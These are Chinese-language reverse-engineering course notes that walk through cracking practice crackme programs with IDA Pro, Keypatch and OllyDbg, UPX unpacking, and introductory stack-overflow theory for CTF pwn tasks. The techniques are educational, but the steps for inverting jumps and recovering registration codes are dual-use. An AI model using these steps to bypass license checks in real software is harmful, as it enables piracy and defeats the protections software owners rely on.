为了验证，我们在程序目录下创建一个空的keyfile.dat文件，然后重新运行程序。此时错误提示变为“keyfile is not valid!”，说明程序执行流发生了变化，我们的分析方向正确。

第四步：深入分析验证逻辑

我们继续用同样的方法，在Strings窗口找到“keyfile is not valid!”字符串，并定位到其引用代码处。在此处设置断点。

分析附近代码，发现程序会读取keyfile.dat文件的内容（ReadFile），并检查读取的字节数。关键判断指令为：

cmp     [ebp+NumberOfBytesRead], 10h
jl      short loc_4010F7 ; 如果读取字节数 < 16，则跳转到失败分支

这意味着，keyfile.dat文件的内容必须不少于16个字节，程序才会继续向下执行，否则将提示无效。

我们向keyfile.dat文件中填入超过16个字节的任意内容（例如一串“A”），再次运行程序。使用IDA的调试功能（Debugger -> Select debugger -> Local Windows debugger，然后按F9运行），程序会在我们设置的断点处暂停。观察流程图的箭头闪烁提示，确认程序跳向了“有效”分支，绕过了“keyfile is not valid!”的提示。

第五步：定位最终校验逻辑

程序继续执行后，进入一个循环结构。在循环结束后，存在另一个关键跳转，决定最终是显示成功信息（“You really did it!”）还是失败信息。我们在此处设置断点进行分析。

动态调试运行到此处，观察寄存器状态和判断条件。例如，判断可能涉及对文件内容特定位置的校验（如比较ESI寄存器的值与某个常数）。通过修改keyfile.dat文件的内容，并观察程序执行路径的变化，我们可以推断出最终的校验逻辑，从而构造出能通过所有检查的合法keyfile.dat文件，完成破解。

本节课中我们一起学习了IDA Pro的基础知识，包括其界面、常用快捷键和核心的静态分析功能。更重要的是，我们通过一个完整的实战案例，演练了逆向工程的基本思路：运行观察 -> 静态分析定位关键点 -> 动态调试验证假设 -> 逐步深入理解程序逻辑。掌握这个流程，并熟练运用IDA Pro这样的强大工具，是迈向网络安全逆向工程领域的重要一步。课后请务必在实验平台上亲自完成整个练习，以巩固所学知识。

逆向工程：IDA Pro实战（二）🔍

在本节课中，我们将继续学习使用IDA Pro进行逆向工程分析。我们将通过一个具体的实例，深入理解程序如何验证外部文件，并学习如何通过分析汇编代码来找到正确的验证条件。

概述

上节课我们介绍了逆向工程的基本概念和IDA Pro的初步使用。本节中，我们将通过一个实际的程序，分析其文件验证逻辑。我们将重点关注一个循环结构，理解它如何读取文件内容并进行判断，最终找出使程序验证通过的关键条件。

分析验证逻辑

上一节我们介绍了程序的关键跳转点，即比较ESI寄存器的值与数字8。本节中我们来看看ESI的值是如何被确定的。

程序的关键在于一个循环结构。该循环负责读取文件kfile.data的内容，并根据内容计算ESI的值。我们的目标是让ESI大于或等于8，从而使程序走向成功的分支。

以下是循环内部的核心操作步骤：

  1. 读取文件内容：程序从文件地址0x40211a读取一个字节到AL寄存器中。
  2. 检查循环结束：比较AL的值是否等于0。如果等于0，则退出循环。
  3. 关键比较：比较AL的值是否等于0x47（即十进制71，对应ASCII字符‘G’）。
  4. 条件跳转与计数：
    • 如果AL不等于0x47，程序会跳转（JNZ）并跳过下一条INC ESI指令。
    • 如果AL等于0x47，程序不跳转，顺序执行INC ESI指令，使ESI的值增加1。

因此，ESI的值实际上就是文件中字符‘G’（0x47）的个数。

动态调试验证

为了更直观地理解这个过程，我们使用IDA Pro的调试器逐步执行。

  1. 在循环开始处设置断点，并启动调试。
  2. 按F8键单步执行。观察AL寄存器的值，它依次变为0x31, 0x32, 0x33, 0x61... 这对应了文件内容“123a...”的十六进制值。
  3. 当AL的值（例如0x31）与0x47比较时，由于不相等，程序发生跳转，ESI不会增加。
  4. 我们可以手动修改内存中的文件数据。将当前字节（例如0x62）改为0x47。
  5. 继续执行，此时AL等于0x47，程序不跳转，执行INC ESI指令，ESI从0变为1。

通过这个动态过程，我们确认了之前的分析：程序通过循环统计文件中字符‘G’的数量，并将其存储在ESI寄存器中。

构造有效文件并破解

根据以上分析，要使程序验证通过，我们需要满足两个条件：

  1. 文件长度至少为16个字节（根据上节课分析）。
  2. 文件中至少包含8个字符‘G’（大写字母G）。

以下是创建有效验证文件的步骤：

  1. 创建一个名为kfile.data的新文件。
  2. 在文件中输入至少16个字符，其中至少包含8个‘G’。例如，内容可以是“GGGGGGGGxxxxxxxx”（x代表任意其他字符）。
  3. 保存文件。

现在运行目标程序，程序将成功读取kfile.data文件。在循环中，每当读到‘G’时，ESI就会加1。循环结束后，ESI的值将大于等于8。

程序随后比较ESI与8，条件成立，执行流跳转到成功分支（例如弹出一个显示“Success”的窗口），从而完成了破解。

总结

本节课中我们一起学习了如何深入分析一个程序的验证逻辑。我们通过IDA Pro的静态分析与动态调试相结合，揭示了一个基于文件内容计数的验证机制。核心发现是：程序通过统计文件中特定字符（‘G’）的数量来决定验证是否通过。

这个实例展示了软件验证的一种常见模式：程序读取用户输入（或文件），经过一系列运算后与预期值进行比较。逆向工程的任务就是解读这些运算和比较的逻辑。掌握这种方法，是理解和应对更复杂软件保护机制的基础。

逆向工程课程 P96：Keypatch 插件使用与程序脱壳 🛠️

在本节课中，我们将学习如何修改程序逻辑以绕过文件依赖，并介绍如何为加壳程序进行脱壳分析。我们将使用 IDA 的 Keypatch 插件来直接修改二进制指令，并利用 UPX 工具处理常见的压缩壳。

Keypatch 插件安装与使用

上一节我们分析了程序对 kf.data 文件的依赖逻辑。本节中，我们来看看如何通过修改程序本身来移除这种依赖。

Keypatch 是一个用于给程序打补丁的 IDA 插件。以下是安装步骤：

  1. 在 Keypatch 的项目仓库中找到 keypatch.py 文件。
  2. 将该文件拷贝到 IDA 安装目录的 plugins 文件夹下。
  3. 重新启动 IDA，插件即可生效。

插件安装完成后，即可开始使用。我们将演示如何修改程序，使其无需 kf.data 文件也能运行到期望的代码段。

首先关闭当前分析窗口。

我们为程序添加一个副本。现在，程序在没有 kf.data 文件的情况下直接运行，这是我们希望改变的初始状态。

我们的目标是修改程序，让它不读取 kf.data 文件也能执行到最终的成功逻辑。根据之前的分析，我们知道第一步会检查文件是否存在，并通过 jnz 指令决定跳转方向。

如果我们将 jnz（非零则跳转）改为 jz（为零则跳转），就能逆转判定条件。原本跳转到左侧失败分支的路径，就会转向右侧的成功路径。

以下是修改单条指令的步骤：

  1. 右键点击目标 jnz 指令。
  2. 在右键菜单中选择 Keypatch -> Patch。
  3. 在弹出的对话框中，将 jnz 修改为 jz。
  4. 点击 Patch。插件可能会询问是否修改后续指令，选择取消，我们仅修改当前这一条。

修改后运行测试，发现并未成功。这是因为修改仅作用于 IDA 的数据库，并未实际保存到程序文件中。我们需要完成所有修改后统一保存。

同理，程序中还有其他几处依赖文件内容的判定需要修改。例如，将 jl（小于则跳转）改为 jge（大于等于则跳转），这可以通过在指令前添加 n（否定）前缀来实现。

以下是需要修改的关键指令列表：

  • 将检查文件是否存在的 jnz 跳转改为 jz。
  • 将检查文件内容长度的 jl 跳转改为 jge。
  • 将验证内容是否有效的条件跳转进行反向修改。

每次修改时，在弹出提示中只应用当前指令的修改，不修改后续指令。

所有指令修改完毕后，需要将更改保存到程序文件。在 IDA 菜单栏选择 Edit -> Patch program -> Apply patches to input file。此时可以创建原始程序的备份。

现在，我们得到了修改后的程序。运行新程序，尽管没有 kf.data 文件，它也不会输出 “out of date”，这说明我们的修改生效了。如果未能到达最终成功提示，说明仍有判定点需要修改，可以动态调试并重复上述步骤进行修正。

最终，我们得到了一个无需任何外部条件即可直接运行到成功逻辑的修改版程序。

综上所述，我们掌握了两种绕过验证的方法：一是分析验证逻辑并构造符合条件的数据文件；二是直接使用 Keypatch 插件修改程序二进制代码。

程序加壳与脱壳分析

在 IDA 分析中，常会遇到加壳的程序。加壳是指在原始可执行文件（EXE）外包裹一层代码，对内部代码进行压缩或加密。程序执行时，由壳代码将原始程序解密并加载到内存中运行，这增加了直接静态分析的难度。

最常用的压缩壳之一是 UPX。下面我们通过一个实例来演示脱壳过程。

这是一个来自 CTF 比赛的题目。首先用查壳工具检查，发现它是 64 位文件，但文件类型显示为 unknown。

在区段信息中，我们注意到多个包含 UPX 字样的区段，这表明它使用了 UPX 压缩壳。如果直接用 IDA 分析加壳后的文件，主逻辑看起来非常简单，通常只调用一个复杂的解密函数，分析将难以进行。

我们需要先使用 UPX 脱壳工具进行脱壳。请确保 upx 命令已添加到系统环境变量中。

在命令行中，使用以下命令进行脱壳：

upx -d [加壳文件] -o [脱壳输出文件]

例如：

upx -d packed.exe -o unpacked.exe

脱壳完成后，使用 IDA 打开生成的 unpacked.exe 文件。此时，程序逻辑变得清晰可读，可以正常进行逆向分析，并找到类似 flag 的关键字符串。

这是一个简单的脱壳示例。掌握脱壳是分析此类保护程序的前提。详细的步骤也已包含在课程资料中。

课程总结 🎯

本节课中，我们一起学习了两个重要的逆向工程技能：

  1. 使用 Keypatch 插件修改程序：通过直接修改二进制指令（如将 jnz 改为 jz），我们能够改变程序执行流程，绕过特定的条件检查。
  2. 识别与脱去 UPX 压缩壳：我们了解了程序加壳的概念，并实践了使用 upx -d 命令对常见的 UPX 壳进行脱壳，为后续的静态分析扫清障碍。

掌握这些技能，能够帮助你更灵活地处理和分析各类经过保护或修改的二进制程序。

逆向工程课程 P97：Ollydbg 介绍及实战 🛠️

在本节课中，我们将学习一款强大的 Windows 用户级动态调试工具——Ollydbg（简称 OD）。我们将了解其基本界面与功能，并通过一个实战案例，学习如何使用它来分析和破解一个简单的软件注册验证逻辑。

Ollydbg 界面与基本功能

上一节我们提到了 Ollydbg 是一款动态调试利器。本节中，我们来看看它的主要界面窗口和基本操作。

打开 Ollydbg 后，可以通过菜单栏的 File -> Open 加载一个可执行文件进行分析。其主界面主要包含以下几个关键窗口：

以下是各窗口功能的简要说明：

  • 反汇编窗口：显示程序的机器码和对应的汇编指令。这是分析代码逻辑的核心区域。
  • 寄存器窗口：实时显示 CPU 各寄存器的值。在分析时，我们经常需要查看和修改寄存器的值来改变程序执行流程。
  • 数据窗口：用于查看和跟踪特定内存地址中的数据。
  • 堆栈窗口：显示当前的堆栈信息。函数调用、参数传递等都依赖于堆栈。

在反汇编窗口中，我们可以进行以下关键操作：

  • 按 F2 键或双击地址左侧区域，可以设置或取消断点。
  • 双击汇编指令或按空格键，可以修改该处的汇编代码。
  • 在注释栏可以为指令添加说明，这有助于分析，但不会影响程序执行。

寄存器窗口和数据窗口中的值也支持直接修改，这为我们动态调试和测试猜想提供了便利。

常用快捷键与基本设置

熟悉了界面后，高效的调试离不开快捷键。Ollydbg 的快捷键逻辑与许多调试器类似。

以下是几个最常用的快捷键：

  • F2：在当前位置设置或取消断点。
  • F7：单步步入（Step Into）。遇到函数调用时会进入函数内部。
  • F8：单步步过（Step Over）。遇到函数调用时，将整个函数作为一步执行。
  • F9：运行程序，直到遇到断点或程序结束。

关于设置，通常需要在 Options -> Interface 中指定 UDD（用户数据）和插件的目录，以便保存调试数据和加载功能插件。

实战：破解 CrackMe 程序

理论学习之后，我们通过一个名为 “CrackMe95” 的实战程序来应用所学知识。我们的目标是分析其注册验证逻辑。

程序行为观察

首先运行目标程序 CrackMe95.exe。

程序界面要求输入 Name（用户名）和 Registration Code（注册码）。我们随意输入，例如 Name: 1234, Code: 1111，点击 OK。

程序会弹窗提示 “Sorry, this is an invalid registration code.”。这表明程序对我们的输入进行了验证。

定位关键字符串

我们的思路是，在程序中搜索这个错误提示字符串，从而定位到验证逻辑所在的代码区域。

  1. 用 Ollydbg 载入 CrackMe95.exe。
  2. 确保程序已运行：载入后，当前模块可能显示为系统模块（如 ntdll）。按 F9 让程序运行起来，使其进入 CrackMe95 自身的代码空间。
  3. 在反汇编窗口点击右键，选择 Search for -> All referenced text strings。
  4. 在弹出的字符串列表窗口中再次点击右键，选择 Search for text，输入 “Sorry”。

  1. 找到字符串后，双击它，OD 会跳转到引用该字符串的代码位置。

分析验证逻辑

我们定位到了显示错误信息的代码块。可以看到，在弹窗函数 MessageBoxA 之前，有两个条件跳转指令（JE）。

程序逻辑是：如果这两个跳转条件任何一个成立，程序就会跳走，从而跳过错误弹窗。只有两个条件都不成立时，才会顺序执行到弹窗代码。因此，这两个跳转是验证是否成功的关键。

向上查看代码，找到决定跳转的条件：

  • 第一个跳转：取决于 ECX 和 EDX 两个寄存器的值是否相等。
    CMP ECX, EDX
JE ... (跳转到成功流程)
  • 第二个跳转：取决于 EDX 是否等于一个固定值 0x361DECA。
    CMP EDX, 361DECA
JE ... (跳转到成功流程)

由此可知，ECX 和 EDX 寄存器中存储的值是验证的核心。ECX 很可能是程序根据我们输入的 Name 计算出的“正确注册码”，而 EDX 是我们输入的“待验证注册码”。

方法一：修改程序逻辑（爆破）

这是一种直接的方法：我们不让程序进行复杂的比较，而是直接修改指令，强制让它跳转到成功分支。

  1. 在第一个跳转指令 JE 处按 F2 下断点。
  2. 按 F9 运行程序，在弹出的程序窗口中随意输入 Name 和 Code，点击 OK。
  3. 程序会在断点处暂停。观察寄存器窗口，此时 ECX 和 EDX 的值通常不相等，所以第一个跳转不会发生。
  4. 双击这个 JE 指令，将其修改为 JNE（不相等则跳转），或者直接改为无条件跳转 JMP。

  1. 按 F9 继续运行。程序将跳转到成功流程，弹出注册成功的提示。

保存修改：在菜单栏选择 File -> Save file，可以将修改后的程序保存到新文件。

方法二：分析算法，获取真码

这种方法旨在弄清程序计算正确注册码的算法。

  1. 重新载入原始程序，在验证代码段下断点。
  2. 运行程序，输入一个特定的用户名进行测试，例如 Name: findme123, Code: 123456。
  3. 程序断下后，我们跟踪数据流。在内存中搜索字符串 “findme123”，并在所有引用它的代码上下断点。
  4. 重新运行并跟踪，会发现程序调用函数获取用户名后，进入一段计算代码。

分析这段计算代码（课件中已提取关键部分）：

  • 程序读取用户名的第一个字符（‘f’ 的 ASCII 码）。
  • 对该值进行一系列乘法、移位等运算。
  • 最终结果存放在 ECX 寄存器中，这就是针对用户名 findme123 计算出的正确注册码（十六进制）。
  • 程序随后比较 ECX（计算值）和 EDX（输入值）。
  1. 当程序运行到比较指令时，从寄存器窗口直接读取 ECX 的值。例如，得到 0x1150CC。
  2. 使用计算器，将其转换为十进制：1134796。
  3. 重新运行程序，输入 Name: findme123, Code: 1134796，即可注册成功。

额外发现：

  • 该程序只使用了用户名的第一个字符进行计算，因此只要首字母相同，注册码就相同。
  • 第二个比较 (EDX == 0x361DECA) 是一个后门。无论用户名是什么，只要输入十进制 56745674（0x361DECA 的十进制），都能注册成功。

逆向工程分析建议 📝

在本节课的最后，我们总结一些逆向分析的通用建议：

  • 具备编码基础：了解常见的程序结构和编码风格，对逆向分析大有裨益。
  • 代码与数据分离：程序通常将代码段和数据段分开存放，分析时注意区分。
  • 善用代码复用：开发者会复用代码或使用开源库。遇到似曾相识的代码块，可以尝试在互联网或代码库中搜索。
  • 大胆假设，小心验证：逆向没有固定公式，常需要根据经验猜测程序逻辑，然后通过调试去验证猜测。
  • 区分自有代码与库函数：集中精力分析程序自身的业务逻辑，对于系统或第三方库函数，了解其功能即可，不必深入其内部。
  • 保持耐心：逆向分析是一个细致且耗时的过程，需要耐心和坚持。

本节课中，我们一起学习了 Ollydbg 调试工具的基本使用方法，并通过一个 CrackMe 程序的实战，掌握了两种基本的软件逆向分析思路：修改程序逻辑和分析验证算法。希望大家通过实验进一步巩固这些技能。

P98：CTF-PWN-栈溢出-栈环境与参数寄存器 🧠💻

在本节课中，我们将要学习CTF-PWN中栈溢出的核心概念，包括栈环境的基本结构和函数调用时参数传递的规则。理解这些基础知识是后续进行漏洞利用的前提。

栈溢出概念介绍

上一节我们介绍了PWN的基本含义，本节中我们来看看“溢出”的具体概念。

我们所说的PWN，在CTF比赛中特指溢出类题目，主要考察对漏洞的利用能力。溢出是指：程序为输入数据或参数分配了一段固定空间，但实际提供的数据量超过了这个空间。例如，一个缓冲区本应在0x80（十六进制）的空间内活动，但输入数据过多，就会侵占相邻的内存空间。

在栈结构中，如果输入数据过多，超出了为其分配的缓冲区范围，就可能覆盖下方的栈地址，例如函数返回地址。这通常会导致程序报错。但如果精心构造输入数据，使超出的部分包含一个我们预先设定好的地址，那么程序在返回时，就会跳转到我们指定的位置执行代码，这就实现了漏洞利用。PWN题目主要就是考察这类溢出漏洞的利用。

栈环境与关键寄存器

理解了溢出的基本概念后，我们来看看实现溢出的关键战场——栈环境。

栈环境是为每个函数调用维护的一块内存空间，用于存放函数的局部变量和临时数据。函数执行完毕后，其栈空间会被清除。在64位系统中，主要由两个寄存器维护栈空间：

  • RBP：栈基址指针（Base Pointer），指向当前栈帧的底部。
  • RSP：栈顶指针（Stack Pointer），指向当前栈帧的顶部。

在32位系统中，对应的寄存器是EBP和ESP。

此外，还有一个至关重要的寄存器：

  • RIP：指令指针寄存器，存放着下一条将要执行的指令的地址。

进行栈溢出利用的核心目标，就是通过覆盖栈上的数据，最终改变RIP寄存器的值，使其指向我们想要执行的指令，而非程序原定的指令。

函数参数传递规则

在掌握了栈和寄存器的基本作用后，我们来看看函数调用时参数是如何传递的，这对于构造利用链至关重要。

函数调用时，参数传递的规则因系统架构而异。以下是64位Linux系统下的常见规则：

以下是参数传递顺序：

  1. 前六个参数依次放入以下寄存器：RDI, RSI, RDX, RCX, R8, R9。
  2. 如果参数超过六个，从第七个开始，将被压入栈中传递。

以一个常见的read函数为例，其原型为read(int fd, void *buf, size_t count)：

  • 第一个参数fd（文件描述符，如0代表标准输入）放入RDI。
  • 第二个参数buf（存储读取数据的缓冲区地址）放入RSI。
  • 第三个参数count（要读取的字节数，如0x80）放入RDX。

而在32位系统中，所有参数通常都通过栈来传递。

（图示：标准输入、输出、错误流的关系）

（图示：函数调用时栈与寄存器的状态示例）

（图示：参数在寄存器和栈中的传递示意）

本节课中我们一起学习了栈溢出的基本原理、维护栈环境的关键寄存器（RBP/RSP/RIP）以及64位与32位系统下函数参数传递的不同规则。理解这些概念是分析漏洞和构造利用载荷的基础。在接下来的课程中，我们将运用这些知识，结合工具进行实际操作。

课程 P99：栈溢出-汇编指令及字节序 🧠

在本节课中，我们将要学习栈溢出相关的核心汇编指令，以及一个关键概念——字节序。理解这些基础知识是分析栈溢出漏洞和构造利用载荷（Payload）的前提。

概述

栈溢出主要涉及栈的操作和函数调用。为了理解溢出过程，我们需要先掌握几个关键的汇编指令和计算机存储数据的方式。

常见的汇编指令

上一节我们介绍了课程背景，本节中我们来看看与栈操作相关的核心汇编指令。

栈的结构

在深入指令之前，我们需要了解栈的基本结构。栈是一段连续的内存区域，用于存储临时数据。栈顶由栈指针寄存器（32位为esp，64位为rsp）指向。栈的增长方向是从高地址向低地址。

PUSH 指令

PUSH指令用于将数据压入栈中，即“入栈”。

以下是PUSH指令的操作步骤：

  1. 首先，栈指针（esp或rsp）的值会减少。在32位系统中减少4字节，在64位系统中减少8字节。这相当于在栈上“开辟”了新的空间。
  2. 然后，将要压入的数据存入新的栈顶地址所指向的内存位置。

用伪代码可以描述为：

// 以64位系统为例
rsp = rsp - 8;        // 栈顶指针上移（地址减小）
*(rsp) = data;        // 将数据存入新的栈顶

POP 指令

POP指令与PUSH相反，用于从栈中取出数据，即“出栈”。

以下是POP指令的操作步骤：

  1. 首先，将当前栈顶地址所指向的内存中的值，加载到指定的寄存器中（例如rdi）。
  2. 然后，栈指针（esp或rsp）的值会增加（32位加4，64位加8）。这相当于“释放”已取出的栈空间。

用伪代码可以描述为：

// 以64位系统为例
rdi = *(rsp);         // 将栈顶的值存入rdi寄存器
rsp = rsp + 8;        // 栈顶指针下移（地址增加）

CALL 指令

CALL指令用于调用一个函数。它的内部操作可以分解为几个步骤。

以下是CALL指令执行的操作：

  1. 将下一条指令的地址（即rip寄存器的当前值）压入栈中。这个地址被称为“返回地址”，是函数执行完毕后应该返回的地方。
  2. 跳转（jmp）到被调用函数的起始地址开始执行。

当被调用的函数执行完毕，使用RET指令返回时，它会从栈顶弹出之前保存的返回地址，并跳转到该地址，从而继续执行CALL之后的指令。

RET 指令

RET指令用于从函数调用中返回。

RET指令执行的操作是：

  1. 从当前栈顶弹出一个值，这个值就是之前CALL指令保存的返回地址。
  2. 跳转到这个返回地址，继续执行。

它相当于执行了POP rip。需要注意的是，RET指令本身通常不负责清理栈上的局部变量等数据，这部分清理工作通常由被调用函数在返回前完成（例如通过add rsp, X指令）。

字节序

上一节我们介绍了函数调用的过程，本节中我们来看看数据在内存中是如何存储的，这涉及到字节序的概念。

在计算机领域，字节序（Endianness）指的是多字节数据（如整数、地址）在内存中或网络传输时的字节排列顺序。主要分为大端序和小端序。

大端序

大端序将数据的高位字节存储在内存的低地址处，将低位字节存储在内存的高地址处。

例如，对于十六进制数据 0xdeadbeef（共4个字节：de, ad, be, ef），在大端序系统中的内存布局（从左到右地址递增）为：

地址：  低  ---->  高
数据： de    ad    be    ef

这种存储方式比较符合人类的阅读习惯。

小端序

小端序与大端序正好相反，将数据的低位字节存储在内存的低地址处，将高位字节存储在内存的高地址处。

同样对于数据 0xdeadbeef，在小端序系统中的内存布局为：

地址：  低  ---->  高
数据： ef    be    ad    de

这种存储方式看起来与我们的书写习惯相反。

注意：在x86/x86-64架构的个人计算机和服务器上，普遍采用小端序。因此，在后续构造栈溢出利用的Payload时，我们写入的地址（如返回地址、函数地址）必须按照小端序的格式排列，否则程序会错误地解释这些数据。

总结

本节课中我们一起学习了栈溢出相关的核心知识：

  1. 我们掌握了PUSH、POP、CALL、RET这几个关键汇编指令的工作原理，理解了函数调用和返回时栈的变化过程。
  2. 我们了解了字节序的概念，区分了大端序和小端序，并明确了在常见的x86/x64环境下使用的是小端序。这是后续正确构造攻击载荷的关键。

理解这些底层机制，是分析软件漏洞、进行二进制安全研究的重要基础。

posted @ 2026-02-04 18:23  绝不原创的飞龙  阅读(1)  评论(0)    收藏  举报